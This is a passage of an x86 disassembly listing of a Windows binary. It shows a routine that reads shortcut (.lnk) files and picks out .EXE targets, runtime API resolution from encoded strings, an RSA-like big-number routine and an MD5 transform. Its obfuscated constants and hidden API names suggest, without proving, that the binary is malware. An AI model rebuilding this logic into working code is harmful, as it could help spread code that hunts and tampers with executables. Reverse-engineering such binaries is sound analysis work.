		call	sub_445950
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_12104]
		push	eax
		call	sub_445970
		lea	ecx, [ebp+var_12104]
		or	eax, 0FFFFFFFFh


loc_444AF6:				; CODE XREF: sub_444ACE+2Dj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_444AF6
		mov	ebx, dword_44D198
		sub	ebx, 8
		mov	esi, eax
		sub	esi, ebx
		mov	ebx, dword_44D234
		movsx	edx, word_44D1C0
		add	ebx, edx
		sub	ebx, 0Ch
		mov	[ebp+esi+var_12104], bl
		push	0
		mov	eax, dword_44D150
		sub	eax, 2
		push	eax
		push	3
		push	0
		mov	eax, dword_44D0A4
		sub	eax, 9
		push	eax
		push	80000001h
		lea	eax, [ebp+var_12104]
		push	eax
		call	ds:dword_44C968	; CreateFileA
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_444D93
		push	0
		lea	eax, [ebp+var_12110]
		push	eax
		push	1FFFh
		lea	eax, [ebp+var_1FFF]
		push	eax
		push	edi
		call	ds:dword_44602C	; ReadFile
		mov	[ebp+var_12108], eax
		push	edi
		call	ds:dword_44B82C	; CloseHandle
		mov	eax, dword_44D124
		movsx	edx, word_44D128
		add	eax, edx
		sub	eax, 7
		cmp	[ebp+var_12108], eax
		jz	loc_444D93
		cmp	[ebp+var_1FFF],	4Ch
		jnz	loc_444D93
		movzx	esi, [ebp+var_1FB3]
		movzx	ebx, [ebp+var_1FB2]
		movzx	ebx, bx
		shl	ebx, 8
		or	esi, ebx
		mov	[ebp+var_1210A], si
		movzx	eax, [ebp+var_1210A]
		movsx	edx, word_44D1F0
		lea	eax, [eax+edx+4Ah]
		movsx	edx, word_44D148
		add	edx, dword_44D124
		add	eax, edx
		mov	[ebp+var_12000], ax
		movzx	eax, [ebp+var_12000]
		movsx	eax, [ebp+eax+var_1FFF]
		mov	edx, dword_44D0B0
		sub	edx, 9
		cmp	eax, edx
		jz	loc_444D93
		movzx	eax, [ebp+var_12000]
		mov	edx, dword_44D1FC
		add	edx, 4
		add	eax, edx
		movsx	eax, [ebp+eax+var_1FFF]
		mov	edx, dword_44D1C4
		add	edx, dword_44D1E8
		sub	edx, 7
		cmp	eax, edx
		jnz	loc_444D93
		movzx	eax, [ebp+var_12000]
		movsx	edx, word_44D164
		mov	ecx, dword_44D22C
		lea	edx, [edx+ecx+8]
		mov	ecx, eax
		add	ecx, edx
		movzx	edx, [ebp+ecx+var_1FFF]
		movsx	esi, word_44D148
		movsx	ebx, word_44D1B8
		lea	esi, [esi+ebx+0Ch]
		mov	ebx, eax
		add	ebx, esi
		movzx	esi, [ebp+ebx+var_1FFF]
		movzx	esi, si
		shl	esi, 8
		mov	ebx, edx
		or	ebx, esi
		mov	esi, ebx
		movzx	esi, si
		mov	ebx, eax
		add	ebx, esi
		mov	esi, ebx
		mov	[ebp+var_1210C], si
		movzx	eax, [ebp+var_1210C]
		lea	eax, [ebp+eax+var_1FFF]
		push	eax
		lea	eax, [ebp+var_11FFE]
		push	eax
		call	sub_445970
		lea	ecx, [ebp+var_11FFE]
		or	eax, 0FFFFFFFFh


loc_444CC3:				; CODE XREF: sub_444ACE+1FAj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_444CC3
		mov	edi, eax
		movsx	eax, word_44D120
		add	eax, dword_44D1E4
		sub	eax, 6
		mov	edx, edi
		sub	edx, eax
		cmp	[ebp+edx+var_11FFE], 2Eh
		jnz	short loc_444D5B
		mov	eax, dword_44D1F8
		add	eax, dword_44D24C
		sub	eax, 0Ch
		mov	edx, edi
		sub	edx, eax
		movsx	eax, [ebp+edx+var_11FFE]
		push	eax
		call	ds:dword_446034
		add	esp, 4
		cmp	eax, 45h
		jnz	short loc_444D5B
		mov	esi, dword_44D104
		sub	esi, 2
		mov	ebx, edi
		sub	ebx, esi
		movsx	esi, [ebp+ebx+var_11FFE]
		push	esi
		call	ds:dword_446034
		add	esp, 4
		cmp	eax, 58h
		jnz	short loc_444D5B
		mov	esi, dword_44D168
		sub	esi, 8
		mov	ebx, edi
		sub	ebx, esi
		movsx	esi, [ebp+ebx+var_11FFE]
		push	esi
		call	ds:dword_446034
		add	esp, 4
		cmp	eax, 45h
		jz	short loc_444D5D


loc_444D5B:				; CODE XREF: sub_444ACE+21Aj
					; sub_444ACE+243j ...
		jmp	short loc_444D93
; ---------------------------------------------------------------------------


loc_444D5D:				; CODE XREF: sub_444ACE+28Bj
		push	offset word_44D85A
		call	sub_43AC82
		push	eax
		lea	edi, [ebp+var_11FFE]
		push	edi
		call	ds:dword_446024
		mov	eax, dword_44D1AC
		add	eax, dword_44D0F0
		sub	eax, 5
		push	eax
		lea	eax, [ebp+var_11FFE]
		push	eax
		call	sub_4433F9
		add	esp, 14h


loc_444D93:				; CODE XREF: sub_444ACE+84j
					; sub_444ACE+CAj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_444ACE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_444D98	proc near		; CODE XREF: sub_43A6D4+41p
					; sub_43BB7B+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_8], 0
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_444DAD:				; CODE XREF: sub_444D98+1Aj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_444DAD
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		lea	ecx, [eax]
		or	eax, 0FFFFFFFFh


loc_444DBF:				; CODE XREF: sub_444D98+2Cj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_444DBF
		mov	esi, eax
		mov	eax, dword_44D1EC
		sub	eax, 6
		mov	[ebp+var_4], eax
		jmp	short loc_444E31
; ---------------------------------------------------------------------------


loc_444DD5:				; CODE XREF: sub_444D98+9Fj
		mov	eax, dword_44D0A8
		movsx	edx, word_44D220
		mov	ebx, eax
		add	ebx, edx
		sub	ebx, 0Bh
		mov	eax, dword_44D1F8
		movsx	edx, word_44D0B4
		mov	edi, eax
		add	edi, edx
		sub	edi, 0Ah
		jmp	short loc_444E2A
; ---------------------------------------------------------------------------


loc_444DFD:				; CODE XREF: sub_444D98+94j
		mov	eax, [ebp+var_4]
		add	eax, edi
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx+eax]
		mov	edx, [ebp+arg_4]
		movsx	edx, byte ptr [edx+edi]
		cmp	eax, edx
		jnz	short loc_444E2E
		inc	ebx
		cmp	ebx, esi
		jnz	short loc_444E29
		inc	[ebp+var_8]
		mov	eax, [ebp+arg_8]
		cmp	[ebp+var_8], eax
		jnz	short loc_444E29
		mov	eax, [ebp+var_4]
		jmp	short loc_444E3E
; ---------------------------------------------------------------------------


loc_444E29:				; CODE XREF: sub_444D98+7Fj
					; sub_444D98+8Aj
		inc	edi


loc_444E2A:				; CODE XREF: sub_444D98+63j
		cmp	edi, esi
		jb	short loc_444DFD


loc_444E2E:				; CODE XREF: sub_444D98+7Aj
		inc	[ebp+var_4]


loc_444E31:				; CODE XREF: sub_444D98+3Bj
		mov	eax, [ebp+var_C]
		cmp	[ebp+var_4], eax
		jb	short loc_444DD5
		mov	eax, 0FFFFh


loc_444E3E:				; CODE XREF: sub_444D98+8Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_444D98	endp


; =============== S U B	R O U T	I N E =======================================



sub_444E43	proc near		; CODE XREF: sub_43A39F+16p
		push	edi
		push	offset byte_44D84D
		call	sub_43AC82
		pop	ecx
		push	eax
		call	ds:dword_449598	; GetModuleHandleA
		mov	dword_44D264, eax
		test	eax, eax
		jnz	short loc_444E76
		push	offset dword_44D840
		call	sub_43AC82
		pop	ecx
		push	eax
		call	ds:dword_44A208	; LoadLibraryA
		mov	dword_44D264, eax


loc_444E76:				; CODE XREF: sub_444E43+1Aj
		push	offset byte_44D82D
		call	sub_43AC82
		push	eax
		push	dword_44D264
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44CD98, eax
		push	offset byte_44D819
		call	sub_43AC82
		push	eax
		push	dword_44D264
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_4495D4, eax
		push	offset byte_44D809
		call	sub_43AC82
		push	eax
		push	dword_44D264
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_449084, eax
		push	offset byte_44D7F7
		call	sub_43AC82
		push	eax
		push	dword_44D264
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44908C, eax
		push	offset dword_44D7E8
		call	sub_43AC82
		add	esp, 14h
		push	eax
		push	dword_44D264
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44C824, eax
		pop	edi
		retn
sub_444E43	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_444F08	proc near		; CODE XREF: sub_43F082+13p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		pusha
		cld
		mov	edi, [ebp+arg_4]
		mov	eax, 1
		stosd
		mov	ecx, 0Fh
		dec	eax
		rep stosd
		lea	edi, dword_44ED24
		mov	esi, [ebp+arg_0]
		mov	ecx, 10h
		rep movsd
		mov	edi, [ebp+arg_8]
		call	sub_444FD3
		xor	edx, edx


loc_444F38:				; CODE XREF: sub_444F08+52j
		push	edx
		push	ebx
		mov	eax, [ebp+arg_8]
		bt	[eax], edx
		jnb	short loc_444F4A
		mov	edx, [ebp+arg_4]
		call	sub_444F64


loc_444F4A:				; CODE XREF: sub_444F08+38j
		lea	edx, dword_44ED24
		call	sub_444F64
		pop	ebx
		pop	edx
		inc	edx
		cmp	edx, ebx
		jbe	short loc_444F38
		popa
		pop	ebp
		retn	10h
sub_444F08	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_444F64	proc near		; CODE XREF: sub_444F08+3Dp
					; sub_444F08+48p
		lea	edi, dword_44ECE4
		mov	ecx, 10h
		xor	eax, eax
		rep stosd
		lea	edi, dword_44ED24
		call	sub_444FD3


loc_444F7E:				; CODE XREF: sub_444F64+5Dj
		lea	edi, dword_44ECE4
		mov	ecx, 10h
		xor	eax, eax


loc_444F8B:				; CODE XREF: sub_444F64+2Cj
		rcl	dword ptr [edi], 1
		lea	edi, [edi+4]
		loop	loc_444F8B
		call	sub_444FE4
		bt	dword_44ED24, ebx
		jnb	short loc_444FC0
		mov	esi, edx
		lea	edi, dword_44ECE4
		xor	eax, eax
		mov	ecx, 10h


loc_444FAF:				; CODE XREF: sub_444F64+55j
		mov	eax, [esi]
		adc	[edi], eax
		lea	esi, [esi+4]
		lea	edi, [edi+4]
		loop	loc_444FAF
		call	sub_444FE4


loc_444FC0:				; CODE XREF: sub_444F64+3Aj
		dec	ebx
		jns	short loc_444F7E
		mov	edi, edx
		lea	esi, dword_44ECE4
		mov	ecx, 10h
		rep movsd
		retn
sub_444F64	endp


; =============== S U B	R O U T	I N E =======================================



sub_444FD3	proc near		; CODE XREF: sub_444F08+29p
					; sub_444F64+15p
		mov	ebx, 1FFh


loc_444FD8:				; CODE XREF: sub_444FD3+Bj
		bt	[edi], ebx
		jb	short locret_444FE0
		dec	ebx
		jnz	short loc_444FD8

locret_444FE0:				; CODE XREF: sub_444FD3+8j
		retn
sub_444FD3	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_444FE4	proc near		; CODE XREF: sub_444F64+2Ep
					; sub_444F64+57p
		lea	esi, dword_44ECE4
		mov	edi, [ebp+14h]
		mov	ecx, 0Fh


loc_444FF2:				; CODE XREF: sub_444FE4+19j
		mov	eax, [esi+ecx*4]
		cmp	eax, [edi+ecx*4]
		jb	short locret_44501B
		ja	short loc_444FFF
		dec	ecx
		jns	short loc_444FF2


loc_444FFF:				; CODE XREF: sub_444FE4+16j
		mov	esi, [ebp+14h]
		lea	edi, dword_44ECE4
		xor	eax, eax
		mov	ecx, 10h


loc_44500F:				; CODE XREF: sub_444FE4+35j
		mov	eax, [esi]
		sbb	[edi], eax
		lea	esi, [esi+4]
		lea	edi, [edi+4]
		loop	loc_44500F

locret_44501B:				; CODE XREF: sub_444FE4+14j
		retn
sub_444FE4	endp


; =============== S U B	R O U T	I N E =======================================



sub_44501C	proc near		; CODE XREF: sub_44506D+32p
					; sub_44506D+50p ...
		mov	eax, ebx
		and	eax, ecx
		push	ebx
		not	ebx
		and	ebx, edx
		or	eax, ebx
		pop	ebx
		retn
sub_44501C	endp


; =============== S U B	R O U T	I N E =======================================



sub_445029	proc near		; CODE XREF: sub_44506D+219p
					; sub_44506D+238p ...
		mov	eax, ebx
		and	eax, edx
		push	edx
		not	edx
		and	edx, ecx
		or	eax, edx
		pop	edx
		retn
sub_445029	endp


; =============== S U B	R O U T	I N E =======================================



sub_445036	proc near		; CODE XREF: sub_44506D+420p
					; sub_44506D+43Fp ...
		mov	eax, ebx
		xor	eax, ecx
		xor	eax, edx
		retn
sub_445036	endp


; =============== S U B	R O U T	I N E =======================================



sub_44503D	proc near		; CODE XREF: sub_44506D+627p
					; sub_44506D+645p ...
		mov	eax, edx
		not	eax
		or	eax, ebx
		xor	eax, ecx
		retn
sub_44503D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_445046	proc near		; CODE XREF: sub_43F09C+73p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		pusha
		mov	edi, [ebp+arg_0]
		mov	dword ptr [edi], 67452301h
		mov	dword ptr [edi+4], 0EFCDAB89h
		mov	dword ptr [edi+8], 98BADCFEh
		mov	dword ptr [edi+0Ch], 10325476h
		popa
		pop	ebp
		retn	4
sub_445046	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44506D	proc near		; CODE XREF: sub_43F09C+8Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		pusha
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	eax, [edi]
		mov	dword_44ED64, eax
		mov	eax, [edi+4]
		mov	dword_44ED68, eax
		mov	eax, [edi+8]
		mov	dword_44ED6C, eax
		mov	eax, [edi+0Ch]
		mov	dword_44ED70, eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_44501C
		add	eax, [edi]
		add	eax, [esi]
		add	eax, 0D76AA478h
		rol	eax, 7
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_44501C
		add	eax, [edi+0Ch]
		add	eax, [esi+4]
		add	eax, 0E8C7B756h
		rol	eax, 0Ch
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_44501C
		add	eax, [edi+8]
		add	eax, [esi+8]
		add	eax, 242070DBh
		rol	eax, 11h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_44501C
		add	eax, [edi+4]
		add	eax, [esi+0Ch]
		add	eax, 0C1BDCEEEh
		rol	eax, 16h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_44501C
		add	eax, [edi]
		add	eax, [esi+10h]
		add	eax, 0F57C0FAFh
		rol	eax, 7
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_44501C
		add	eax, [edi+8]
		add	eax, [esi+18h]
		add	eax, 0A8304613h
		rol	eax, 11h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_44501C
		add	eax, [edi+4]
		add	eax, [esi+1Ch]
		add	eax, 0FD469501h
		rol	eax, 16h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_44501C
		add	eax, [edi]
		add	eax, [esi+20h]
		add	eax, 698098D8h
		rol	eax, 7
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_44501C
		add	eax, [edi+0Ch]
		add	eax, [esi+24h]
		add	eax, 8B44F7AFh
		rol	eax, 0Ch
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_44501C
		add	eax, [edi+8]
		add	eax, [esi+28h]
		add	eax, 0FFFF5BB1h
		rol	eax, 11h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_44501C
		add	eax, [edi+4]
		add	eax, [esi+2Ch]
		add	eax, 895CD7BEh
		rol	eax, 16h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_44501C
		add	eax, [edi]
		add	eax, [esi+30h]
		add	eax, 6B901122h
		rol	eax, 7
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_44501C
		add	eax, [edi+0Ch]
		add	eax, [esi+34h]
		add	eax, 0FD987193h
		rol	eax, 0Ch
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_44501C
		add	eax, [edi+8]
		add	eax, [esi+38h]
		add	eax, 0A679438Eh
		rol	eax, 11h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_44501C
		add	eax, [edi+4]
		add	eax, [esi+3Ch]
		add	eax, 49B40821h
		rol	eax, 16h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_445029
		add	eax, [edi]
		add	eax, [esi+4]
		add	eax, 0F61E2562h
		rol	eax, 5
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_445029
		add	eax, [edi+0Ch]
		add	eax, [esi+18h]
		add	eax, 0C040B340h
		rol	eax, 9
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_445029
		add	eax, [edi+8]
		add	eax, [esi+2Ch]
		add	eax, 265E5A51h
		rol	eax, 0Eh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_445029
		add	eax, [edi+4]
		add	eax, [esi]
		add	eax, 0E9B6C7AAh
		rol	eax, 14h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_445029
		add	eax, [edi]
		add	eax, [esi+14h]
		add	eax, 0D62F105Dh
		rol	eax, 5
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_445029
		add	eax, [edi+0Ch]
		add	eax, [esi+28h]
		add	eax, 2441453h
		rol	eax, 9
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_445029
		add	eax, [edi+8]
		add	eax, [esi+3Ch]
		add	eax, 0D8A1E681h
		rol	eax, 0Eh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_445029
		add	eax, [edi+4]
		add	eax, [esi+10h]
		add	eax, 0E7D3FBC8h
		rol	eax, 14h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_445029
		add	eax, [edi]
		add	eax, [esi+24h]
		add	eax, 21E1CDE6h
		rol	eax, 5
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_445029
		add	eax, [edi+0Ch]
		add	eax, [esi+38h]
		add	eax, 0C33707D6h
		rol	eax, 9
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_445029
		add	eax, [edi+8]
		add	eax, [esi+0Ch]
		add	eax, 0F4D50D87h
		rol	eax, 0Eh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_445029
		add	eax, [edi+4]
		add	eax, [esi+20h]
		add	eax, 455A14EDh
		rol	eax, 14h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_445029
		add	eax, [edi]
		add	eax, [esi+34h]
		add	eax, 0A9E3E905h
		rol	eax, 5
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_445029
		add	eax, [edi+0Ch]
		add	eax, [esi+8]
		add	eax, 0FCEFA3F8h
		rol	eax, 9
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_445029
		add	eax, [edi+8]
		add	eax, [esi+1Ch]
		add	eax, 676F02D9h
		rol	eax, 0Eh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_445029
		add	eax, [edi+4]
		add	eax, [esi+30h]
		add	eax, 8D2A4C8Ah
		rol	eax, 14h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_445036
		add	eax, [edi]
		add	eax, [esi+14h]
		add	eax, 0FFFA3942h
		rol	eax, 4
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_445036
		add	eax, [edi+0Ch]
		add	eax, [esi+20h]
		add	eax, 8771F681h
		rol	eax, 0Bh
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_445036
		add	eax, [edi+8]
		add	eax, [esi+2Ch]
		add	eax, 6D9D6122h
		rol	eax, 10h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_445036
		add	eax, [edi+4]
		add	eax, [esi+38h]
		add	eax, 0FDE5380Ch
		rol	eax, 17h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_445036
		add	eax, [edi]
		add	eax, [esi+4]
		add	eax, 0A4BEEA44h
		rol	eax, 4
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_445036
		add	eax, [edi+0Ch]
		add	eax, [esi+10h]
		add	eax, 4BDECFA9h
		rol	eax, 0Bh
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_445036
		add	eax, [edi+8]
		add	eax, [esi+1Ch]
		add	eax, 0F6BB4B60h
		rol	eax, 10h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_445036
		add	eax, [edi+4]
		add	eax, [esi+28h]
		add	eax, 0BEBFBC70h
		rol	eax, 17h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_445036
		add	eax, [edi]
		add	eax, [esi+34h]
		add	eax, 289B7EC6h
		rol	eax, 4
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_445036
		add	eax, [edi+0Ch]
		add	eax, [esi]
		add	eax, 0EAA127FAh
		rol	eax, 0Bh
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_445036
		add	eax, [edi+8]
		add	eax, [esi+0Ch]
		add	eax, 0D4EF3085h
		rol	eax, 10h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_445036
		add	eax, [edi+4]
		add	eax, [esi+18h]
		add	eax, 4881D05h
		rol	eax, 17h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_445036
		add	eax, [edi]
		add	eax, [esi+24h]
		add	eax, 0D9D4D039h
		rol	eax, 4
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_445036
		add	eax, [edi+0Ch]
		add	eax, [esi+30h]
		add	eax, 0E6DB99E5h
		rol	eax, 0Bh
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_445036
		add	eax, [edi+8]
		add	eax, [esi+3Ch]
		add	eax, 1FA27CF8h
		rol	eax, 10h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_445036
		add	eax, [edi+4]
		add	eax, [esi+8]
		add	eax, 0C4AC5665h
		rol	eax, 17h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_44503D
		add	eax, [edi]
		add	eax, [esi]
		add	eax, 0F4292244h
		rol	eax, 6
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_44503D
		add	eax, [edi+0Ch]
		add	eax, [esi+1Ch]
		add	eax, 432AFF97h
		rol	eax, 0Ah
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_44503D
		add	eax, [edi+8]
		add	eax, [esi+38h]
		add	eax, 0AB9423A7h
		rol	eax, 0Fh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_44503D
		add	eax, [edi+4]
		add	eax, [esi+14h]
		add	eax, 0FC93A039h
		rol	eax, 15h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_44503D
		add	eax, [edi]
		add	eax, [esi+30h]
		add	eax, 655B59C3h
		rol	eax, 6
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_44503D
		add	eax, [edi+0Ch]
		add	eax, [esi+0Ch]
		add	eax, 8F0CCC92h
		rol	eax, 0Ah
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_44503D
		add	eax, [edi+8]
		add	eax, [esi+28h]
		add	eax, 0FFEFF47Dh
		rol	eax, 0Fh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_44503D
		add	eax, [edi+4]
		add	eax, [esi+4]
		add	eax, 85845DD1h
		rol	eax, 15h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_44503D
		add	eax, [edi]
		add	eax, [esi+20h]
		add	eax, 6FA87E4Fh
		rol	eax, 6
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_44503D
		add	eax, [edi+0Ch]
